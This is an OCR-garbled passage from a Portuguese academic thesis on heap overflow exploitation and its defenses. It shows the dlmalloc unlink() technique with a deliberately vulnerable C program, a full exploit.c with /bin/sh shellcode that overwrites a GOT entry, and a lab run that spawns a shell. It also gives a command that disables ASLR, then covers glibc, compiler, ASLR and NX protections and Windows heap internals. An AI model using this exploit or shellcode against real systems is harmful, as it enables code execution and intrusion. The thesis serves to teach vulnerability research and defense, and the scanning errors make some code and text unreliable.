8 = \x\ 8 = \
FD \ BK+8=> D \
12 = & ‘-\ 12 = \ L
BK Vo BK \
\ \
| \
“ | \I‘ \\I
/ ‘ |
| L)
| n
¥ ——=" / ‘ ‘|‘
n
\/ BK+8=FD | ‘
e = S\ FD + 12 = BK |
12 = X\ \‘ |
BK \ |
\ [
1 I
|| |
| ]
| |
/ |
/ | /
/| " .“"
| /]
FD ¥ f‘ FD frJ
/
/ f
/ /
8 8 = /
= £D f/’ £D /
12 / 2 =
= BK i FD +12=> BK g

Figura 3.13 - Execucdo da macro unlink()

Assim, modificando os valores de bk e fd, € posdigar estas operagbes para
modificar uma posi¢cao qualquer de memoéria (Queagenmissao de escrita).
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Na verdade, o que o invasor faz é:
- fd = ponteiro de fungcdo menos 12 bytes.
- bk = endereco do Shellcode.

Portanto, a macro unlink(), ao tentar retirar esbeink de uma suposta lista
duplamente encadeada, substituirda (na linha 3ataarunlink()) o ponteiro de funcéo
localizada na FD mais 12 bytes (12 é o deslocaméatecampo dentro de bk uma
boudary tag) por BK (o endereco do Shellcode).

Se o programa vulneravel |é o ponteiro da funcéstiuida (uma entrada da GOT -
Tabela Offset Global) e salta para a posicdo de drianem que esta o Shellcode, o
Shellcode ser& executado.

Porém a macro unlink() também substitui uma posdg&enemoria localizada no
Shellcode(unlink() faz duas substituices), ou,saja bk + 8 € colocado o valor de fd.
Por isso, a primeira instrucdo do Shellcode deWarssobre a posicdo de memdéria
substituida (4 bytes) para o inicio do Shellcodgpamente dito.

Esta técnica unlink, introduzida por Solar Desiginerexplorada com sucesso em
versdes vulneraveis de programas como “0 naveghlddscape”, “Traceroute”, e
“Slocate”.

3.2.3 Exemplo de exploracdo com a macro unlink()

O programa abaixo contém um buffer Overflow tipicoa vez que um atacante
pode substituir (na linha [3]) os dados armazenadwsliatamente apds o final do
primeiro chunk (first) se o argumento de entradgvd]” for maior do que 666 bytes:

[* programa vulnerable.c */
#include <stdlib.h>

#include <string.h>

int main( int argc, char * argv[] )

{

char * first, * second;
[*[1]*/ first = malloc( 666 );
[*[2]*/ second = malloc( 12 );
[*[3]*/ strepy( first, argv[1] );
[*[4]*] free( first);
[*[5]*/ free( second );
[*[6]*/ return( 0 );
}
Figura 3.14 — Codigo do programa vulneravel - FofREIANTASMAGORIA, 2001)

Assim, o atacante pode substituir o “boundary @m’segundo chunk (second) que
esta localizado imediatamente apos o primeiro chunk

O tamanho do primeiro chunk é calculado, conformglieado no item 3.2.1.3,
como (666 + 8 bytes - 4 bytes) = 670 bytes. Arreldmdo para o préximo multiplo de
8, a area real fica em 672 bytes.
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Portanto, se o tamanho do primeiro argumento (Hfpwassado para o programa
vulneravel pelo atacante é maior ou igual a 68@ (672 * 4) bytes, o atacante sera
capaz de substituir o campo size, fd e bk do chse&ond”. Assim, poderia, portanto,
utilizar a técnica unlink().

Porém, como pode o Dimalloc ser enganado, procgssasegundo chunk como se
ele estivesse livre com unlink (), uma vez que elstmk esta alocado?

Quando free() é chamado na linha [4] a fim de &berprimeiro chunk, ele verifica
se o chunk second também esta livre, e caso pmsitste segundo chunk é processado
por unlink() (Para verificar se esta livre normatige € verificado o bit
“PREV_INUSE” do préximo chunk contiguo).

Infelizmente, este bit estd setado porque o chwakcdhd” esta alocado. Mas o
atacante pode enganar DImalloc para a leitura unc@dPREV_INUSE” falso,
alterando o campo “SIZE” do segundo chunk (usadddbmalloc, a fim de calcular o
enderec¢o do proximo pedago contiguo).

Por exemplo, se o atacante substitui o campo “Sld&"segundo chunk por -4
(Oxfffffffc), DImalloc vai pensar que estd lendo campo size do préximo chunk
contiguo (terceiro chunk), porém, na verdade estitds antes do campo size do
segundo chunk, que é o campo prev_size do segumalik.cAssim, se 0 atacante
armazena no campo prev_size do segundo chunk uneraloojo bit 1 ndo esteja
setado (0), DImalloc ira achar que este chunklastie ird processar ele com a macro
unlink().

A figura abaixo demonstra estas alteracdes.

Flag para chunk
livre

2

size — size =4

Chunck Chunck

Tamanho =-4:
Verifica se o

g .

chunk atual esta

1 = s Flag para chunk livre no proprio
T2 anterior livre chunk no campo

PréximO prev size
Chunck

Figura 3.15 - Simulando o chunk atual como livre

3.2.3.1Calculando os valores FD e BK

Para a exploragcéo da vulnerabilidade, a exploikahea substituir no second chunk
0S campos a seguir:

- fd = (ponteiro para a fungao a ser alterada @orfeee())) - 12
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- bk = endereco de um Shellcode armazenado 8 hpteso inicio da area de dados
do primeiro chunk.

Com o comando executado na linha abaixo, é posdestobrir 0 endereco de
alocacao do primeiro malloc do cédigo vulneravel:

# Itrace ./vulnerable 2>&1 | grep 666

malloc(666) = 0x0804a008

Assim, o endereco do Shellcode seda0804a008"mais 8 bytes correspondentes
aos campos FD e BK do primeiro chunk, pois estésstgerao sobrescritos no primeiro
free().

Para descobrir o ponteiro da funcdo que serd d#ierd executado o comando
abaixo que mostra o endereco da entrada da fung&() ha Tabela de deslocamento

Global (Global Offset Table — GOT)
# objdump -R vulnerable | grep free
08049638 R_386_JUMP_SLOT free

A figura abaixo demonstra o apontamento da fungée(¥ para o endereco do
Shellcode.

Enderego FD -12
Enderego na
FD + 12 coloca
Valor = 0x0804a008 —%  tabela GOTda
o valor de BK fiinio Freal) =
\ 0x08049638
Bloco 1 i
II
Inicio area de /
[ 4 Endereco =
Hados = D ) 0x0804a008
—> Pula8 bytes no
BK | Exploit
BK + 8 coloca L3
ovalorde FD =¥
Por isso a primeira She”code
parte do shellcode
e um pulo a estes
bytes que serdo
sobrescritos
Inicio drea de FD-12
dados
BK = shellcode

Figura 3.16 - Apontamento da funcao free() paraell&de

Assim, ao ser alterado o endereco de memd@i®8049638”"pelo endereco do
Shellcode (que comeca com a jump instrution "\X@dp), quando a funcéao free() for
chamada sera executado este “jump” que fara cono @ellcode seja executado.



Abaixo é demonstrada a estrutura de ataque geeddl@&@digo:

| Byte | Valor escrito Descrigao
Tamanho chunck anterior
Tamanho do Chunck
0== . .
FD Oxdefaced : DUMMY Bytes que serdio sobrescritos
BK Oxdefaced : DUMMY Bytes que serdo sobrescritos
Inicio do Shellcode
\xebx0app Pula 4 bytes para o shellcode
19.9.9.9.9.0.9.4 bytes socrescritos por unlink() = bk + 8
Shellcode Shellcode
BEBEBBBEB.....
672="=>
Tamanho chunck anterior Oxdefaced + 0x1
Tamanho do Chunck -4
FD FUNCTION_POINTER - 12 Endereco que serd modificado
BK Endereco do Shellcode Valor a ser modificado
680 = =
Y

Figura 3.17 — Estrutura de ataque gerada

Na figura abaixo tem o cédigo do exploit utilizado.
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[* programa exploit.c */
#include <string.h>
#include <unistd.h>

#define FUNCTION_POINTER ( 0x08049638 )
#define CODE_ADDRESS ( 0x0804a008 + 2*4 )

#define VULNERABLE "./vulnerable"
#define DUMMY Oxdefaced // falso
#define PREV_INUSE 0x1 // bit chunk anterior ndo u

char Shellcode[] =
/* the jump instruction */
"\xeb\x0appssssffff"
/* the Aleph One Shellcode */
"\xeb\x1f\ix5e\x89\x76\x08\x31\xc0\x88\x46\x
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x
"\x80\xe8\xdc\xf\xf\xff/bin/sh";

int main( void )
{
char * p;
char argvl[ 680 + 1 ];
char * argv[] = { VULNERABLE, argvl, NULL }

p = argvil,

/* the fd field of the first chunk */

*( (void **)p ) = (void *)( DUMMY );
p+=4;

/* the bk field of the first chunk */
*( (void **)p ) = (void *)( DUMMY );
p+=4;

sado

07\x89\x46\x0c\xb0\x0b"
31\xdb\x89\xd8\x40\xcd"
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/* the special Shellcode */

memcpy( p, Shellcode, strlen(Shellcode) );
p += strlen( Shellcode );

/* the padding */

memset( p, 'B', (680 - 4*4) - (2*4 + strlen (Shellcode)) );
p += (680 - 4*4) - ( 2*4 + strlen(Shellco de) );

/* the prev_size field of the second chunk */

*( (size_t *)p ) = (size_t)( DUMMY & ~PREV_ INUSE );
p+= 4

/* the size field of the second chunk */

*( (size_t*)p ) = (size_t)(-4);

p+=4;

/* the fd field of the second chunk */

*( (void **)p ) = (void *)( FUNCTION_POINTE R-12);
p+=4;

/* the bk field of the second chunk */

*( (void **)p ) = (void *)( CODE_ADDRESS );
p+=4;

/* the terminating NUL character */

*n ="'\0"

/* the execution of the vulnerable program */
execve( argv[0], argv, NULL );
return( -1);

Figura 3.18 — Cédigo do exploit — FonfKAEMPF, 2001

Executando o exploit através do comande@xploit” nota-se que o Shell
“pbash$” foi chamado indicando que o exploit funcionou. Ni-se¢do 3.2.4 sera
descrita de forma mais detalhada como foi executaeaploracdo da vulnarabilidade
Heap Overflow na préatica.

Abaixo temos 0s passos com o resumo da exploracéolderabilidade:
1. E alocado o bloco de memoéria first

2. E alocado o bloco de memoria seconé&ste bloco se localiza na meméria Heap
em posi¢oes de enderec¢os subsequentes ao bldco firs

3. Uma informacdo de entrada do usuario é escrita noldco first: devido esta
entrada ter um tamanho superior a este blocoagiadm ira sobrescrever informacdes
de dados e de controle do bloco second. As infobesque serdo escritas sao:

3.1 E escrito o Shellcode na area de dados do lfist, sendo que a primeira
instrucdo do Shellcode serad um pulo de 4 bytesgeirar espaco para os ponteiros FD
e BK, quando este bloco for liberado (primeiro fjee

3.2 S&o modificados os campos prev_size e sizblam second de modo a
simular para o gerenciador de memoria Heap quebkste encontra-se livre.

3.3 Sdo modificados os dois primeiros enderecodsati®s do bloco second,
onde se localizam nos blocos livres os ponteiroeFEX, de modo que o0 gerenciador
ao realizar o procedimento para retirar este biama Bin, faca o apontamento do
endereco GOT da funcao free() para o Shellcode.

4. E executado o free() no bloco firstQuando é executado o free neste bloco e ele
é liberado, o alocador verifica se o0 bloco postegioe é o second também esta livre.
Como as informacdes pré_size e size foram moddgaédle ira achar que este bloco
esta livre e executard a macro unlink() usandafasmacdes FD e BK para retirar este
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bloco de uma Bin. Como estas informacdes foramdaevente modificadas, a macro
unlink() modificaré o ponteiro na tabela GOT dag@m free() colocando o endereco do
Shellcode, que estad armazenado na area de dadscddl.

5. E executada a segunda vez a funcéo freeQevido o ponteiro da funcéo free()
estar apontando para o Shellcode, sera executdtellwode.

3.2.4 Execucdao pratica da exploracdo da vulnerabilidade eap Overflow usando
a macro unlink()

Para a execucdo pratica da exploracdo da vulnieledel Heap Overflow foi
utilizado um computador com processador Intel @®mom memoria RAM de 2 GB e
Sistema Operacional Windows 7 Home Basic de 64 bits

Neste sistema foi utilizado o software de virtueg@o WMware Player “versdo
4.0.0 build-471780” o qual foi instalado o Siste®eracional Linux Ubuntu 4.10 com
o glibc 2.2. Para teste da vulnerabilidade Heapriove foi utilizada esta verséo do
Ubuntu devido a versGes mais atuais ja possuiretegires na biblioteca glibc que néo
podem ser desativadas, conforme sera explicadoraieafmais detalhada na secéo 4.1.

Devido este sistema por padrdao nao possuir o gtalado, instalou-se o gcc através
do comando:

# apt-get install gcc

Apés isto, foram salvos em arquivos o codigo dairfig3.14 com o nome de
“vulnerable.c” e o da figura 3.18 com 0 nome deplei.c”.

Foi feita a compilagdo do programa “vulnerablett&eés do seguinte comando:
$ make vulnerable
cc vulnerable.c -o vulnerable

Para descobrir o endereco de alocacéo do primeatoado programa “vulnerable”
foi executado o comando abaixo:

# Itrace ./vulnerable 2>&1 | grep 666
malloc(666) = 0x0804a008

Para descobrir o ponteiro da funcdo que sera diefai o comando abaixo que
mostra 0 endereco da entrada da funcao free() beldale deslocamento Global
(Global Offset Table — GOT)

# objdump -R vulnerable | grep free
08049638 R_386_JUMP_SLOT free
No programa “exploit.c” foram modificadas as setgsrvariaveis:

#define FUNCTION_POINTER (  0x08049638 )
#define CODE_ADDRESS ( 0x0804a008 + 2*4 )

Apoés isto, foi feita a compilagdo do programa “expt” através do seguinte
comando:

$ make exploit

cc exploit.c -o exploit
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A execucao do exploit:
$ ./exploit
bash$

Nota-se que o Shell “bash” foi chamado com sucésdando que o exploit
funcionou e a vulnerabilidade Heap Overflow foi @xada.

3.2.5 Técnica de explorar o Heap Overflow explorando a n@o flontlink()

Apos ter sido divulgada o método de exploracaonk()li também foi divulgada o
método flontlink, que como o préprio nome diz, asaacro flontlink() que é a macro
que faz a insercao de chunks nas bins.

Este método, além de ser bem mais complexo, o ar@yvulneravel tem que ter
estrutura bem mais dificil de se conseguir na @& OGRE, 2010). Em (KAEMPF,
2001) podem ser encontrados mais detalhes destelonét

Sera feita uma referéncia a outros métodos de &gélo na sub-secéo 4.1.1.
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4 PROTECOES PARA A VULNERABILIDADE HEAP
OVERFLOW NO LINUX

Neste capitulo veremos algumas medidas de segudanigardware e software que
foram implementadas, procedimentos que devem gelidsss e softwares que podem
ser utilizados com o objetivo de dificultar a oéncia de Heap Overflow.

4.1 Protecdes na biblioteca glibc

A partir da glibc 2.3.x, o0 alocador de memoaria diiéa que era utilizado Dimalloc
foi substituido por Ptmalloc, sendo que este érarteente baseado no Dimalloc, porém
tem maior suporte a aplicagées multi-threads (GLRGSE2006).

No algoritmo Ptmalloc, o terceiro bit menos sigrativo que antes nao era utilizado
passou a ser utilizado como flag de controle NONINMARENA para gerenciamento
de arenas.

Com isto, para a execucdo da macro unlink estedutdeve estar setado o que
implica que no campo “size”, ndo é mais possivdizat o valor 0xfffffffc (-4) e sim
Oxfffffff8 ( os trés bits menos significativos iggaa zero).

A partir da glibc verséo 2.3.4 foram incluidas aéverificagbes de integridade com
0 objetivo de impedir vulnerabilidades de estousdHttap e double free (double free()
protection) (UBUNTU, 2011-b) usando os métodos ecidos até o momento
(YOUNAN, 2005).

Exemplos de verificagGes incluidas séo:
- Antes de executar a macro unlink(), é verificadsguinte condicéo:
“p-> fd-> bk == p-> bk-> fd == p”

- Antes de executar free(): o ponteiro deve seom#d que o tamanho minimo de
um chunk (16 bytes) e menor que a quantidade ti#almemoria alocada até o
momento. Dessa forma valores negativos no campe™g#&o sdo mais possiveis.

Além destas, sdo realizadas outras verificacogsratecdo no codigo da libc que
foram implementadas no proprio codigo da funcaddan@lda Glibc através de testes
de condicdo e sdo habilitadas por default, ndocspodsivel de serem desabilitadas
(DEBIAN, 2011).
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4.1.1 Outros métodos de exploracéo

Apés as inclusBes destas protecfes na bibliotéle, glarios outros artigos foram
publicados com o objetivo de tentar contornar atetede protecdo. Um dos artigos
mais famosos foi o (PHANTASMAGORIA, 2005) que prapa de forma teorica cinco
técnicas de contornar as protecfes. Ja no arig@eACKNGEL, 2009) fez a andlise
e implementacgédo destas técnicas.

Analisando estas técnicas, vemos que grande palds tBm como base a técnica
unlink(), porém possuem uma complexidade tedricde e@mplementacdo bem mais
complexas, além de que geralmente o programa \aveketem que ter uma estrutura
bem mais dificil de se conseguir na pratica. Pso,i®ado justifica neste trabalho um
estudo mais profundo destas técnicas, que podeemsentradas nos artigos citados.

Finalmente, conforme (UBUNTU, 2011-b), a glibc @spui protecdo contra Heap
Overflow por default, e que é resistente a toddéascas ja divulgadas até o momento.

Porém, alguns autores dos artigos consideram araxglo da vulnerabilidade Heap
Overflow uma arte e citam que a implementacao deaalor € tdo complexa que com o
seu estudo, sera descoberta uma forma de explétaap Overflow. Além disso, varias
vulnerabilidades foram divulgadas quando ja estasanmdo exploradas ha anos. Por
isso, embora ndo tenha sido encontrada nenhumarablhdade atual que seja efetiva,
€ possivel que existam vulnerabilidades.

4.1.2 Medidas de protecdo que podem ser usados pelos praigpadores

Além das protecdes automaticas de Heap Overfloredotzidas a partir da versao
do glibc 2.3.4, como ja foi citado, existem extaragglibc como iremos ver a seguir.

4.1.2.1Protecdes oferecidas pela GNU C Library

GNU C Library fornece duas possibilidaes de checaonsisténcia do Heap em
modo de execuc¢ao (DELORIE, 2010).

A primeira € omcheck que é uma extensdo da GNU declarada no arquivo
“mcheck.h”.

Para utilizada, devemos copilar o cédigo com o is¢geomando:
# gcc —mcheck arquivo.c —o arquivo

Ao executar o programa “arquivo” compilado comrrmcheck durante a sua
execucao sao feitas verificagbes de controle nagetp Heap que encontrando algum
problema, retornam uma mensagem de erro e o camaaia da execucédo do programa.
Um exemplo seria a execugéo abaixo:

# .Jarquivo
memory clobbered past end of allocated block
Cancelado

A verificagdo acima informou que a memoria sobitsdpi maior que o bloco
alocado e a execucao foi cancelada.
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Outra possibilidade seria usar o recurso de testelehp a variavel de ambiente
MALLOC_CHECK . Por padrédo esta variavel é igual a zero e 0os &&o ignorados.
Se for definida para 1 os erros sédo impressos @erfs (saida de erro padrdo) e se for
definida para 2, ocorrendo um erro, o programeaoétadho imediatamente.

4.1.2.2 Programas de protecéo oferecidos paramux.i
Existem softwares de protecdo da memoria Heapafie® para o Linux.

Um exemplo destes programas de protecaddardening-Wrapper, sendo que, é
necessario instalar o seu pacote.

O uso deste software, conforme (UBUNTU, 2008) onalucros na memdaria que
tornam o0s programas que estiverem em execucao mesitentes a exploracdo da
corrupgdo de memoria.

Para instalar o pacokéardening Wrapper, deve-se executar o comando:
# Apt-get install hardening-wrapper

Apos a instalacdo, deve-se definir uma variavendbiente para ativa-lo
#export DEB_BUILD_HARDENING=1

#export DEB_BUILD_HARDENING_ [feature] =0

Mais informacdes deste pacote podem ser obtidg&J8WNTU, 2008).

4.1.2.3Protecdes oferecidas pelo compilador GCQaatédo ao Heap Overflow:

O compilador GCC oferece protecdes em relacaorzevabhilidade Heap Overflow,
oferecidas através de opcdes de compilacdo (UBURUDIWY) descritas a sequir:

A opcéo usada na compilacdgcc —D_FORTIFY_SOURCE=2 -02” verifica
buffers em tempo de compilacdo e execucao. Aléita desificacdo, esta opcao fornece
mais duas vantagens:

- Strings formatados (Format strings) em memodriaitalble” com %n sao
bloqueados

- N&o tem sido reportado negativo impacto na exaztuc

Ja, a opcaodcc —Wformat” e “gcc —Wformat-security” verifica os formatos e as
interacdes. Estas opc¢des também verificam potensgals com o printf() e o scanf().

4.2 Mecanismos de protecdo de software e hardware

Os sistemas operacionais Linux/Unix possuem metasige protecdo que foram
implementados e que ajudam a evitar a ocorréncidlesps Overflow sendo que
podemos citar o ASLR e o NX. Nesta secéo serdosvistpidos conceitos sobre eles e
sobre a sua utilizacdo com o objetivo de evitarpdéaverflows.



51

4.2.1 Address Space Layout Randomisation (ASLR)

ASLR é uma técnica de seguranca em computadordsnmaptado pelo kernel e o
carregador ELF por randomizar a localizacdo deagfdes das areas-chave de dados
(stack, pilha, bibliotecas compartilhadas, etc3ol$éaz com que seja mais dificil de
prever enderecos de memoéria (que tem que ser hdos) quando um atacante esta
tentando exploragéo de corrupcado de memodria.

ASLR é controlado no sistema pelo valor/deoc/sys/kernel/randomize va space.
Antes de Ubuntu 8.10, este padrao para "1"(on)vErsdes posteriores, que incluiu brk
ASLR, o padréo é "2" (UBUNTU, 2011-a).

Quando o ASLR esté ativado, que é o padrédo dasrsast Linux/Unix atuais, torna-
se muito dificil o ataque de Heaps Overflow.

Se quisermos desativar a randomizagao para aaeatizle testes, devemos realizar
0S seguintes comandos:

# sudo su
# echo 0 > /proc/sys/kernel/randomize_va_space
# exit

4.2.2 NX - Non-Executable Memory

Non-eXecute(NX) ou eXecute-Disable(XD)é uma tecnologia usada em alguns
processadores e sistemas operacionais com o pioplEsiseguranca de separar de
modo rigido as areas de memodria que podem ser sugmda execucdo de codigo
daquelas que s6 podem servir para armazenar dAHIKEPEDIA, 2011-b).

Uma éarea da memodria que esteja marcada com o tatribd pode ser usada
somente para guardar dados, entdo quaisquer idsfwue estejam nela ndo seréo
executadas.

O termo "bit NX" foi criado e € usado comercialmeepela AMD. No entanto,
tecnologia idéntica foi implementada pela Intelmco nome bit XD, que deriva da
expressao em inglés “eXecute Disable”. Ambas asotegias funcionam do mesmo
modo e se diferenciam apenas pelo nome.

Varios sistemas operacionais dao suporte ao bitB&iXre eles, o Windows XP (a
partir do Service Pack 2), o Linux (a partir do edc2.6.8) e o Mac OS X (em todas as
versdes para processadores Intel).

Alguns sistemas operacionais quando os processadére possuem a tecnologia
NX, emulam esta tecnologia. Isto ocorre no Ubugtie emula parcialmente a partir da
versao 9.10 quando executado em um kernel de 32(dat processadores que nao
possuem NX).

4.3 Cuidados na programacao

A Linguagem de programacdo c oferece entre outmeacteristicas, uma grande
liberdade ao programador, mais recursos de bawel QUNICAMP, 1998) e cddigo
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compacto e rapido quando comparado com outrasdgens de complexidade analoga
(UNESP, 2006). Porém esta “liberdade” dada ao progdor deve ser usada com um
maior cuidado em relacdo a implementacdo do saftwdesta secdo serdo descritos
alguns procedimentos que os programadores deverntake€om o objetivo de evitar o
Heap Overflow.

4.3.1 Uso de comandos mais seguros e boas praticas degreonacao

Para citar cuidados na programacéo, iremos se rbase@omandos utilizados na
linguagem de programacéo “C” na linguagem Linux.

Como ja foi citado antes, o problema do Heap Owerfbcorre no momento que é
copiada mais informacdo do que foi definido quandbloco de memdéria Heap foi
alocado.

A linguagem C possui rotinas de tratamento de gdrigue sdo inseguras,
disponibilizadas com a sua biblioteca padrdo. Destelo, limites de arrays e de
referéncias a ponteiros ndo sdo checados autometite, ficando a cargo do
programador de realizar essa verificacao.

O que o programador deve fazer é substituir fungfes ndo controlam a
guantidade de bytes copiados por outras que fagententrole (WEBER, 2010).

A tabela abaixo mostra uma relacdo de funcdes umasgcom a sua possivel
substituta:

Tabela 4.1: Principais fun¢des inseguras da LingueG com possiveis substitutas

Funcéo perigosa

Funcéo substituta

Observacéo

Gets()

Fgets()

Verificar se o tamanho do destirsuficiente para 3
entrada "n”

D

D

D

strcat() strncat() Verificar se o tamanho do destnsuficiente para
entrada "'n”

Strepy() Strnepy() Verificar se o tamanho do destinsuficiente para
entrada "n”

Sprintf() Snprintf() Verificar se o tamanho do deste suficiente para
entrada "'n”

Gets() char *fgets (char *stf,Fazer um controle rigoroso da quantidade “len”

int len, FILE *pt)

caracteres lidos na entrada “pt” sobre o destitrd “s

de

As fungbes substitutas sdo mais seguras porquenitieh a quantidade de bytes

copiados. Porém, a funcdo fgets() embora seja ssjgra que a funcédo gets(), por
exemplo, pode ser usada em um “loop” e com issmuest a variavel de destino. Por
isso, sempre que houver entrada de dados é neoefsz@r uma verificacdo rigorosa,
pois, 0s usuarios mal-intencionados procuram fatiha®casides que os programadores
nao tomaram os devidos cuidados.
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4.3.2 Auditoria de codigos
A auditoria de cddigos pode ser realizada de dumseiras, de forma estatica ou
dinamica.
Em relacdo a analise estética temos as seguintesersticas:
- Por meio de analise de todo o codigo fonte
- Por meio de rastreamento dos pontos de iterag@atros processos ou USUarios
- Por meio de falsas assinaturas de funcfes

Para analise dinAmica recomenda-se que o0s tegtan s@tomatizados e sejam
feitos testes do tipo caixa preta (sem o conhedimiaterno do cédigo) e caixa branca
(conhecendo o cdédigo internamente). Para automagites testes, alguns softwares
muito conhecidos e difundidos sao Flawfinder, ITB8can, RATS e Valgrind.

4.3.3 Recomendacfes de programacéao

Para que a execucdo de um software tenha maiorasegy abaixo estdo descritas
algumas recomendacdes para o programador:

- Escutar os warnings do Compilador e compreenslevisos — corrijir a causa, ndo o
aviso.

- Usar a ultima distribuicdo do Linux e do compdad

- Aprender a usar 0s recursos de seguranca quedispdniveis e tornar obrigatério o
seu uso.
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5 HEAP OVERFLOW NO SISTEMA OPERACIONAL
WINDOWS

Neste capitulo sera feito um breve estudo do fumacieento da vulnerabilidade
Heap Overflow no sistema operacional Windows, den& a comparar com 0s
conceitos estudados sobre esta vulnerabilidadesteors Linux.

5.1 Estrutura da meméria Heap no Sistema Operacional Widows

Para o entendimento do Heap Overflow do Windowara fazer a comparacao do
Heap Overflow com o Linux, sera feito uma répidaadiedo do funcionamento da
memoria Heap no sistema operacional Windows. Damae®rma que foi feito o
estudo no sistema Linux, serdo analisados apenaetathes de implementagdo na
memoria Heap importantes para o entendimento doidnamento da vulnerabilidade
Heap Overflow.

No sistema Windows, muitas Heaps podem coexistiugnprocesso, sendo que
normalmente existem 2 ou 3 (CONOVER, 2004-b). Abaiemos uma figura que
mostra a estrutura da memoria Heap na memoriaal/oitusistema Windows.

Important Heap Structures

Heap header

¥

Segments

Segment List W

I:';) Virtual Allocation list

Free Lists J[

Lookaside List J[

Lookaside (15t 125

Figura 5.1 - Estrutura da memoria Heap no Windowsnrte: (CONOVER, 2004-a)

Nesta figura mostra os principais componentes des@& seguir:
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- Segmentos: Blocos de memoria que pode estar dosmau liberados.
- Segment list: Conjunto de segmentos na memoria.

- Free lists: Listas duplamente encadeadas de dloees.

- Lookaside list: lista encadeada de blocos livres.

5.1.1 Estrutura de um segmento de memadria Heap do Windows

Um segmento (bloco) de memodria Heap no Windowsm@ama forma que o
sistema Linux é composto por uma estrutura de clené& da estrutura para armazenar
dados.

A estrutura de controle é composta por 8 bytesaypalde 8 bits) e € demonstrada
na figura abaixo:

01— Busy

02 — Extra present

04 —Fill pattern

08 = Virtual alloc

10— Last entry
Basic Chunk Structure — 8 bytes ﬁg-:iﬂi

80— Mo coalesce

Segment
Index

Unused | Tag Index

Self Size Previous Chunk Size Bytes (Debug)

Flags

Overflow Direction

Figura 5.2 - Estrutura de um bloco de memadria Heap

Como se pode ver na figura acima, os dados na neeldéap crescem na memoria
virtual dos enderecos menores para os enderecasasiahlém disso, existem campos
semelhantes ao alocador do sistema Linux, comogyemplo, tamanho (Self Size),
tamanho do bloco anterior (Previus Chunk Sizeagsflde controle (Flags).

A figura a seguir mostra a estrutura de um bloagado, sendo que a area de dados
vem logo apds a area de controle.



Self Size

Previous Chunk Size

Segment
Index

Flags

Unused
Bytes

Tag Index
{Debug)
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Area de dados

i 1 2 3 4 5 & T E!

Figura 5.3 - Bloco de memoaria ocupado

De forma semelhante ao sistema Linux, bloco livesipdem listas encadeadas,
sendo que os primeiros 64 bytes da area de dadagibdados para guardar ponteiros
para estas listas. Os primeiros 32 bytes da ardadizs sdo utilizados para armazenar o
endereco do proximo bloco (Next chunk), e os 32dweguintes sdo utilizados para
armazenar o endereco do bloco anterior (Previouskyh

A figura abaixo mostra a estrutura de um blocceliom os ponteiros next chunk e
Previus chunk.

Unused
Bytes

Segment
Index

Tag Index

Self Size (Debug)

Previous Chunk Size Flags

Mext chunk Previous chunk

il 1 2 3 4 5 & T !

Figura 5.4 - Bloco de memoaria livre

Uma das maiores diferencas do sistema Linux paiatema Windows, € que um
segmento livre pode estar na “Lookaside list” ouwana “Free list”. As caracteristicas
entre estas duas estruturas de dados serdo deacsgguir.

5.1.2 Estrutura das Free lists
Conforme ja foi citado, blocos da memaria Heap témanho multiplo de 8.

Free lists séo listas duplamente encadeadas queazemam blocos livres de
tamanho de 1Kb até 512 Kb com 128 entradas, coivemde 0 a 127. Esta estrutura é
semelhante as Bins no gerenciador de memoéria doLin

Para os indices 1 a 127, o tamanho do bloco é @guatlice * 8 bytes

A entrada 0 (Entry [0]) contem uma lista de blodestamanho 1kb até 512 kb,
classificados por tamanho em ordem crescente.

A figura a seguir ilustra esta estrutura.
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N T e T

e
RIS

Figura 5.5 - Estrutura das Free lists

Lista duplamente encadeada;
<>

5.1.3 Estrutura da Lookaside list

E uma estrutura composta por um conjunto de 128&lisncadeadas, sendo que cada
lista possui um indice de 1 a 128. Esta estrut@@ possui uma equivalente no
gerenciador de meméria do Linux e foi criada pdmirtiir o tempo de alocacéo e
desalocacao de blocos quando liberados pela a@tic&ta inicialmente comeca vazia e
vai alocando pedacos liberados conforme o tamawhblato. O tamanho do bloco
armazenado em cada indice é: indice * 8 bytes.

A Lookaside list se diferencia das free lists por:

- Nem sempre participar da estrutura da memoérig f@ade ndo existir).
- E uma estrutura auto-balanceada.

- Tem maior velocidade de alocagéo que as Free list

- Lookaside lists “enchem” rapidamente (4 entrgoasindice).

- Nao une blocos vizinhos (leva a fragmentacao eaaonia Heap).

- Embora os blocos que estdo na Lookaside listrsbjacos livres, suas flags séo
setadas como blocos ocupados.

A figura a seguir mostra a estrutura da Lookaside L

1 B ' —  Mull

w
) A
4

B Nl

Encadeamanto simples:
5 —

5] ———— »  Hull

Figura 5.6 - Estrutura da Lookaside List
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5.1.4 Funcionamento do algoritmo de alocacao

Abaixo serd feita uma rapida descricdo do funciemramdo algoritmo de alocacdo
em alto nivel (CONOVER, 2004-b).

Quando um bloco da memodria Heap é requisitado aeglisacdo, € executada a
seguinte sequéncia de operacoes:

- Se o tamanho é igual ou maior que 512K, a memvdtizal € usada (ndo é usada a
memoria Heap.

- Se o tamanho é menor que 1K, é verificado o énd&lista Lookaside conforme o
tamanho do bloco e procurado no indice correspdad€nso a Looaside List ndo
possua o tamanho exato correspondente, € verifitagsl&ree lists o bloco com o menor
tamanho que atenda o tamanho necessario. Cas@onhardo bloco de menor tamanho
seja grande, ele podera ser dividido e o tamani® rgstou ira ser novamente
armazenado em uma Free list.

- Se 0 tamanho for maior que 1K é pesquisado na lEst com indice igual a zero.
Neste caso também, como os blocos sédo ordenadaarpanho, é localizado o menor
tamanho que atenda o tamanho necessitado.

- Se nado existem entradas livres para o tamanhessiéado, é estendida a memoaria
Heap conforme a necessidade.

Quando um bloco de memdria € liberado pela apl@aééarealizado o seguinte
procedimento:

- Se 0 pedaco é menor que 1K, ele € armazenadoakaside. Caso a Lookaside ja
possua 4 blocos para o indice correspondente deaojoeo, o bloco sera armazenado
em uma free list.

- Caso o bhloco tenha tamanho entre 1K e 512K, ezt garmazenado na “Free list
com indice O.

Quando os blocos sao liberados, o gerenciador dadnee verifica se o bloco
subsequente esta livre. Caso esteja, ele faz a oo esse bloco realizando a soma de
tamanhos e o re-apontamento de ponteiros de formanger o encadeamento da lista.

Pontos importantes do gerenciador de memoria (CORR)\2004-b):

- Lookasides sdo alocados e liberados antes dasidte, por serem estruturas mais
rapidas.

- Freelists [0] € usado principalmente para 1K $w1@kSize < 512K
- Unido acontece apenas para as entradas inddérgaliat, ndo lookaside list.

- Entradas em um determinado indice do Lookasigk k8o permanecer nesta
estrutura até serem reaproveitados.
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5.2 Heap Overflow no sistema operacional Windows

